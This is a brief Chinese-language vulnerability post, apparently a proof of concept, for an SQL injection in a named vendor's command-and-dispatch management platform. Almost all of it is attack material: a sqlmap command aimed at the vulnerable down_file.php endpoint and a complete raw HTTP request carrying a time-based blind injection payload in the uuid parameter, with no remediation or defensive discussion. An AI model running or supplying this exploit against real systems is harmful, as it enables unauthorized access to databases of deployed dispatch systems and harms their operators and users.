北峰通信-福建科立讯通信 指挥调度管理平台 SQL注入漏洞

厂商域名和信息收集

域名：

工具sqlmap

python sqlmap.py -u "http://ip:端口/api/client/down_file.php?uuid=1" --batch

数据包

GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%203018%20FROM%20(SELECT(SLEEP(5)))PUiO)%20AND%20%27ayNf%27=%27ayNf HTTP/1.1

Host: ip：端口

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=8gnvk03ni3efhhsf6s6utobua6

Upgrade-Insecure-Requests: 1

Priority: u=0, i